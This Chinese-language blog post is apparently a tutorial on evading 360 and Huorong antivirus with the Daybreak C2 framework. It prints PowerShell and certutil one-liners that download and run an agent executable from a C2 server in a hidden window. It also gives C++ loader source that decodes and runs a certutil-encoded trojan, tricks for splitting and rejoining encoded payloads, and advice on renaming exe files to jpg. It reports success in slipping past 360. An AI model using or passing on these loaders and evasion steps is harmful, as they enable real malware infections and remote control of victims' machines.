与免杀新伙伴 Daybreak 类似的工具,类似于 CS 工具。
下面的图片展示了它的控制界面,利用了简洁美观的 Web 界面,并且默认支持中文。
分析一下它自带的上线语句
相比于需要通过插件才能在CS上线的情况,这句话表示支持多种操作系统的上线,尤其是在Linux系统上更加集成,同时还能利用PowerShell和Certutil指令进行上线操作。
powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://127.0.0.1:1338/d/pzxsnoqd','pzxsnoqd.exe') && pzxsnoqd.exe agent -u http://127.0.0.1:1338 -s e75tdmwecertutil -urlcache -gmt -split -f http://127.0.0.1:1338/d/pzxsnoqd pzxsnoqd.exe && pzxsnoqd.exe agent -u http://127.0.0.1:1338 -s e75tdmwe
需要注意的是,执行破晓的上线操作时,必须使用探针参数,例如提及的 e75tdmwe。
初步测试
我们将自带的命令编译成可执行文件,并尝试直接使用探针参数 e75tdmwe 进行破晓的上线操作。
360环境测试
静态免杀已通过,准备尝试上线。
上线失败被阻止
优化在火绒环境下的运行性能
在火绒环境下优化运行性能,静态云查杀仍然可靠
尝试上线
果然还是被阻止了
文件分析流程:提升效率与准确性
效果显示还行
https://www.virustotal.com/gui/
离谱了
https://www.virscan.org/language/zh-cn/
进阶
利用certutil自带的加解密功能,实现木马的免杀。
加密代码:
Certutil -encode C+Powershell.exe out.txt
C语言源码:
#include #include #include #include #include using namespace std;int main(){ char automobie[50]; ofstream outfile; #将解密的内容写入一个文件中 outfile.open("encryption.txt"); outfile.setf(ios_base::showpoint); outfile << "-----BEGIN CERTIFICATE-----\n" #C2文件加密的内容 "-----END CERTIFICATE-----\n" << endl; outfile.close(); #进行解密 system("Certutil -decode encryption.txt test.exe"); #确保上述代码运行完成 Sleep(5000); system("test.exe C2执行参数"); return 0;}
再次编译生成exe文件,并在点击运行时,首先生成一个解码文件,随后再次生成可执行文件,最终实现上线。
火绒环境下
成功发现了解密文件和木马文件,但尽管发现了木马文件,仍然在运行时触发了警报。
360环境下
我想火绒杀毒软件居然生效了,但意外的是,即便连接网络的360杀毒软件没拦截,我还是成功地上线了。
在进行360杀毒软件的快速查杀时,令人意外的是,即使经过了检测,木马仍然未被发现。
技巧一(缝合)
在使用certutil时,我们注意到加密后的数据过于冗长,可能会在上传过程中出现问题。因此,我们可以考虑使用文件切割和COPY指令来优化这一过程,以确保数据传输的顺畅性。
copy 1.txt+2.txt+...+n.txt out.txt
最后利用
certutil -decode out.txt C2可执行文件名.exe
我们可以使用以下命令进行加密,生成一个TXT文件。
Certutil -encode C+Powershell.exe out.txt
利用文本切割器,每500行为一组进行切割。
文本切割器网站https://uutool.cn/txt-incise/
将文本缝合后,我们将使用certutil进行解密。
certutil -decode out.txt test.exe
我们将文本合并后,使用certutil进行解密。
关于运行木马程序的问题: 火绒报错, 360在文本编译成exe后直接报警。
技巧二(冷知识)
在Windows命令行中执行文件判断时,不是通过文件后缀进行判断,而是通过文件头进行判断。因此,即使我们将EXE文件修改后缀为JPG等其他格式,仍然可以执行相应命令。
代码如下:
#include #include #include #include #include using namespace std;int main(){ char automobie[50]; ofstream outfile; outfile.open("encryption.txt"); outfile.setf(ios_base::showpoint); outfile << "-----BEGIN CERTIFICATE-----\n""-----END CERTIFICATE-----\n" << endl; outfile.close(); return 0;}
命令执行
执行结果
在Windows命令行中,文件的判断并非基于文件后缀,而是根据文件头来确定。这意味着,即使我们将EXE文件的后缀修改为JPG等其他格式,仍然可以执行相应的命令。
关于你提到的在C中将解密后的文件修改后缀再启动时可能遇到的错误,解密文件可能会成功生成,但却无法执行,这是一个潜在的问题。
暂无评论内容